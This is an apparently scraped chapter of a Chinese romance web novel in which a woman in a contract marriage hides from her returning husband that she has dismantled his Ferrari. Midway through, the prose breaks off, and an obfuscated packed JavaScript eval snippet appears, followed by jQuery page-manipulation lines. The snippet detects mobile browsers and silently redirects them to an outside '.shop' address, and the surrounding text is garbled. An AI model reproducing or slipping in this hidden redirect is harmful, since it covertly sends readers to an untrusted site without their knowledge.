看到商郁白阴沉的表情,祝晴空双手攥紧了安全带。
她想开口回应商郁白,却找不到合适的称呼来定义当前他们的关系。
叫他商总?不行,太商务。
叫他先生?不行,太像网约车司机喊乘客了。
叫他帅哥?不行,尽管商郁白确实担得起这一声帅哥。
叫他郁白?不行,虽然结婚快一年了,但也没熟到那份上。
如果他俩很熟的话,祝晴空都很想喊他一声尊贵的迈巴赫车主。
至于那两个字,她连想都不敢细想,她这辈子对着商郁白都叫不出口。
思来想去,她鼓起勇气开口:“商郁白......”
见到商郁白的脸色没有更加阴沉,她攥着安全带的手指放松了不少。她真聪明,找到了一个合适的称呼她一年未见的契约婚姻对象的方式,那就是直接喊他的名字。
“哟,不容易啊。还记得我的名字。”商郁白顿了顿,“祝晴空。”
祝晴空尴尬一笑,想着做点什么缓和一下气氛,她一只手松开安全带,对着他招了招手:“好久没见了。你......过得好吗?”
商郁白没想到她憋了半天说了句这样的话,看着她招财猫一样的动作,哑然失笑,却配合地回答:“我过得挺好的。你呢?”
“我过得也挺好的。”祝晴空的双眼满是真诚,“都是托你的福。其实......咱们俩把日子过好比什么都重要!今天的事情你千万别放在心上。你说这一单多少钱,我给你报销。”
祝晴空非常豪气地掏出手机,对着他甜甜一笑。
商郁白也不知道为什么,刚刚那股无名火遇到这笑容,就立刻烟消云散了,连点火星儿都见不着了。
他说那句话也不是真想让她报销,只是那会儿压着火想说句难以回答的话为难她。
商郁白摆摆手:“算了。”
“不行!”祝晴空坚持,语气也很真诚,“我穿着你的羽绒服,开着你的车,不给你报销路费天理不容。”
商郁白这才发付款界面给她看。
“什么?这单三百二十五?平台可真黑啊,我才收到不到二百块。”祝晴空说着,拇指滑动着手机屏幕,在微信列表里寻找商郁白的名字。终于找到了之后,她打开聊天框,给他转了五百块。
商郁白看到自己的置顶聊天框显示有待接收的转账。他点开聊天框,聊天框上方显示的备注是法拉利首席气动工程师。
他刚点开,她又发过来一张表情包,是一只表情尴尬但看起来不像是什么好东西的玫红色的熊。
他往上滑动屏幕,就看到聊天记录停在他上一次未拨通的语音上,而下面祝晴空的回复又让他刚刚压抑下去的情绪涌了上来。
她回答:我在开车,一会儿说。
他看到这条消息,一直等到第二天,她也没主动给他回拨语音。
又看到她此刻甜甜的笑,商郁白心里立刻明白了过来,她就是爱装得这么无辜可爱,其实心里什么都不在乎。
他收了钱,却不打算放过她,继续盘问。
“刚刚说的离婚、试管婴儿和单身妈妈又是怎么回事?”
悬着的心才放下的祝晴空又把心提了起来。
“我刚刚瞎说的。”祝晴空委屈巴巴地为自己申辩:“我那不是没认出你吗?你一上来就问我婚恋状态,我就想说几句疯话让你无话可说。”
是挺无话可说的。
“总之,千错万错都是我的错,我给你道歉。对不起,商郁白。”祝晴空叫到他的名字的时候,尾音几乎都带着哭腔了。
但看她垂着眼角的样子,他也分不清她是出于真心还是假意。
于是,他也故作温柔样,语气柔和了起来:“可以理解,不需要道歉。”
听到这句话,祝晴空又明快起来,但随后商郁白那句话却让她大脑一片空白。
“那你能不能告诉我......”商郁白的目光落在她左手的无名指上,祝晴空心虚地把右手盖在左手上,但抬眼看到对方略带压迫感的眼神,又立刻把右手移开了,努力挤出一个甜甜的笑。
商郁白冷眼看她:“既然结婚了,为什么不戴婚戒?”
刚刚听到这个问题,祝晴空以为是没有边界感的乘客挑衅她,现在这乘客摇身一变,成了她的合法伴侣,正在以理所应当的语气质问她。
两次都让她难以回答。
还能为什么啊?祝晴空的大脑飞速运转着,但却想不到一个合适的能让商郁白满意的理由,尤其是当她瞥见商郁白手上的婚戒的时候,就更心虚了。
但其实心底有个声音一直在回响,结婚了不戴婚戒还能因为什么,当然是因为不爱啊。
但是戴着婚戒,也不能说明就是爱,毕竟,戴着婚戒的人在英国还有一个白月光。
其实,祝晴空很想反问他,既然结婚了,为什么还要去英国陪别人?
但是她不能问,因为她清醒且清楚地知道,在她和商郁白的婚姻里,她不是那个上位者,有些话,她不该问。
“我不戴婚戒,是因为......”沉默了半天,祝晴空胡乱地开口,忽然灵光一闪,说道:“我不戴婚戒是因为我有腱鞘炎。”
“啊?”
“嗯,我有腱鞘炎。”祝晴空说得笃定,“老毛病了,之前上学的时候学习太用功了,敲键盘写论文写得。”
“严不严重?”商郁白好像信了。
“怎么说呢,犯病的时候挺疼的,最近刚好犯了,昨晚上我还贴膏药呢,你闻闻,我手上还有残留的膏药味。”祝晴空把手腕伸到商郁白跟前。
商郁白倒是没有闻到膏药味,反倒隐隐闻到一阵机油的味道。
祝晴空迅速把手缩回去,装模作样地揉了揉手腕。
“但是我的腱鞘炎也就两三个月犯一次,平时没事的时候还是可以戴戒指的。最近不行,因为那个戒指有点沉。”
商郁白再一次沉默,但是却是因为内疚,他好像没搞明白状况就暗自生气。
“那现在还疼吗?”商郁白的语气真的柔和了下来。
“现在嘛……隐隐作痛吧。”
“下车。”商郁白说话间给她按下了安全带锁扣。
“啊?”祝晴空一脸懵,他这是看出自己在撒谎来了?
商郁白已经拉开了车门,下了车。他绕到另一侧,拉开祝晴空那侧的车门,说道:“腱鞘炎就别开车了。”
祝晴空这才反应过来他是要换位置开车。只是,都到家门口了,就剩下这点距离了,至于吗。
但她还是照做了,因为她心虚。
她坐在副驾驶上,刚要拽下安全带,就看到商郁白的手臂探过她的胸口,拉下安全带。
祝晴空紧紧贴着椅背,生怕蹭到他的手臂,但他似乎是有意识地跟她保持了一个安全礼貌的距离,只有他的大衣轻轻擦过羽绒服的声音。
但祝晴空的脸颊一直红到耳根,商郁白从车内后视镜里看得一清二楚。
“怎么,车里暖风开太大了,脸红成这样?”商郁白调侃她。
“我我我……”祝晴空把脸别过去,对着车窗。
车子开入地库,祝晴空这才意识到了两件更严重的事情!
“别!先别进车库,咱们把车停在地下停车场吧。”
祝晴空从小就爱拆装汽车模型,长大后,拆模型已经不能满足她了,尤其是看到商郁白那十几辆豪车的时候。她无法形容每次把发送机从车里拆出来又安回去的满足感。
这周,她刚刚把车库里那辆红色法拉利的发动机给拆下来,细细研究,还没来得及给装回去。主要还是没想到商郁白会突然回国。
如果商郁白看到他的法拉利被大卸八块,他会作何反应?祝晴空不敢想。
“怎么,你半夜还得跑网约车?”
“不是。”祝晴空心想,一年未见,怎么那个冷淡客气的商郁白嘴突然变毒了。肯定是英国这地方忽冷忽热的风水不行,人待久了就会变得爱冷嘲热讽。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103211|195769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“这不是见你没带行李吗?万一半夜出去买点东西呢?”
“祝晴空,我回自己家,带什么行李?”商郁白说着,车子已经稳稳停在了一个空车位上。明天也要出门,他原本也没打算把车停到车库里。
回自己家不用带行李。祝晴空回想了一下,他去伦敦的那天,好像也没带行李,也就是说,他在伦敦也有一个家。
商郁白给她拉开车门:“下车,回家。”
祝晴空下意识闭上眼睛。不让他进车库这事她还能办的了,但今天总不能不让他进家门吧!
但如果他进家门,就会发现,他那性冷淡装修风格的家里,已经被布置成了大型蹦迪现场。她叫着几个朋友在家里一起跨年,是真没想到商郁白能回来。
商郁白要是开门看到家里的景象,或许会气到跟她当场离婚。真要是离婚倒也不是坏事,如果是商郁白提的,那她也不算是违约方。
但就是没办法利用他这些豪车资源了。但是明天是元旦,再过不到一个月是新年,大过年的,商郁白应该不会一回国就跟她离婚吧,但即使真的要离婚,也还有一个月的冷静期。
但就是不知道能不能趁着离婚大家都冷静的时候,得到商郁白的允许,去拆一下他车库里最珍贵的那辆迈凯伦F1LM。如果真的能亲手感受一下那台车的发动机,那她祝晴空真的朝闻道夕死可矣。
商郁白虽然没有读心术,但他隐隐也觉得祝晴空是有事瞒着他。只是他怎么也想不到眼前副驾上的人,已经在脑海中把这段婚姻关系推进到离婚冷静期了。
祝晴空一点一点从车座上挪下去,刚顺手提起商郁白的双肩包,一只手便从下面拖住包的底部。商郁白拉过双肩包,单肩背着。
祝晴空还是感受到了包的重量。商郁白是在包里放了块砖吗?怎么这么沉。
但她没开口问,只是小步一瘸一拐地跟着商郁白走向自家电梯的方向。
商郁白倒也不着急,慢悠悠陪着她散步。
“怎么,腿也不舒服?”商郁白问。
祝晴空思考了两秒,觉得他的语气不是嘲讽,而是关心,回答道:“开车开的。”
“祝晴空。”商郁白的语气突然又严肃起来,“跟我结婚委屈你了吗?需要你出去开网约车。”
“没有没有。我开网约车是因为......我喜欢车,喜欢开车。”祝晴空倒没有说假话,毕竟她从小到大的梦想就是成为F1法拉利车队的首席气动工程师,好给法拉利设计点像样的赛车。
这几年法拉利的赛车性能简直差到让人怀疑是不是内部团队混进了别的车队的卧底。
商郁白停下脚步。
“需要我抱你上电梯吗?”
惊讶于他的直白,祝晴空一时不知道怎么回应。
“不用!”她怕跟商郁白有肢体接触,于是快步走向电梯的方向。
“你看我,腿突然好了!我还能蹦呢!”说着,她尬笑着原地跳了两下。
商郁白笑着摇摇头,跟了上去。他摁下电梯,电梯的数字从四依次递减,最后停在地下三层。
“商郁白,有件事我得跟你说一下。”看着电梯门缓缓敞开,祝晴空说道,“你先有个心理准备。”
现在不铺垫一下,一会儿等他直接看到家里的景象,后果不堪设想。
“怎么,你在家里养小狗了?”
“不是。就是......你也离开快一年了,你家稍微有一点点变化。”祝晴空说着,跟着商郁白上了电梯,看着他刷脸验证后,摁了一层的按键。
商郁白皱起眉,又想起刚刚她那句“商郁白是商郁白,我是我”,忍不住反驳道:“我家?那不也是你家吗?”
“是是是,咱家稍微有一点点变化。”还未等祝晴空说起到底发生了什么变化,电梯就停在了一楼。
电梯门还未打开,陈玥灵的声音动地而来:“啊啊啊啊啊!你快别坐着了!晴空回来啦!”
祝晴空用余光观察着商郁白的反应。